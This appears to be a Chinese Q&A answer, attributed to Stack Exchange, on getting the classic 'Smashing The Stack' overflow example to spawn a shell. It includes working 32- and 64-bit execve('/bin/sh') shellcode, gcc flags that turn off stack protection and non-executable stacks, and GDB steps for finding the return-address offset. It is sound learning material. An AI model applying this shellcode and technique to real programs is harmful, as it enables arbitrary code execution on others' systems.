运行《Smashing The Stack For Fun And Profit》栈溢出示例无法启动Shell求助
解决栈溢出示例无法启动Shell的思路
1. 匹配系统架构与Shellcode位数
原示例中的shellcode是32位x86指令集,如果你的系统是64位(uname -m输出x86_64),直接运行会因指令集不兼容崩溃:
- 32位系统:保留原shellcode,编译时需加
-m32参数强制生成32位程序 - 64位系统:替换为64位shellcode,比如经典的
execve("/bin/sh")实现:char shellcode[] = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
2. 修正返回地址的偏移计算
原代码中ret = (int *)&ret + 2的偏移量是基于旧版GCC的32位栈布局,现代编译器或64位环境下栈结构已变化,必须通过调试确定正确偏移:
- 编译时加
-g保留调试信息:# 32位编译 gcc -g -O0 -m32 -o a.out -fno-stack-protector -fno-pie -no-pie -z execstack testsc.c # 64位编译 gcc -g -O0 -o a.out -fno-stack-protector -fno-pie -no-pie -z execstack testsc.c - 用GDB调试计算偏移:
gdb ./a.out break main run # 查看ret变量的地址 print &ret # 查看当前函数的返回地址:32位用$ebp+4,64位用$rbp+8 # 32位示例 print *(int *)($ebp + 4) # 64位示例 print *(unsigned long long *)($rbp + 8) # 计算偏移:(返回地址的内存地址 - &ret) / 指针大小(32位为4,64位为8) - 将代码中的
+2替换为计算出的正确偏移值。
3. 禁用编译器优化
编译时必须添加-O0参数,防止编译器优化栈结构导致偏移计算失效,这是很多现代GCC版本的坑。
4. 验证Shellcode本身的有效性
先单独测试shellcode是否能正常执行,排除栈溢出逻辑外的问题:
// 32位示例 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { void (*sc)() = (void *)shellcode; sc(); return 0; }
编译运行后如果能弹出shell,说明shellcode没问题,问题出在栈溢出的地址计算上;如果不行,需更换适配当前系统的shellcode。
5. 调试确认跳转流程
用GDB跟踪执行,确认返回地址是否被正确覆盖为shellcode的地址:
gdb ./a.out break main run # 执行到ret赋值后,查看目标地址的值 print *ret # 对比shellcode的实际地址 print (int)shellcode # 32位 print (unsigned long long)shellcode # 64位 # 继续执行,观察是否跳转到shellcode并正常执行 continue
如果跳转后崩溃,可通过x/20i $pc查看当前执行的指令,确认是否为shellcode的起始位置。
内容的提问来源于stack exchange,提问作者user3602697
相关产品推荐
相关产品推荐

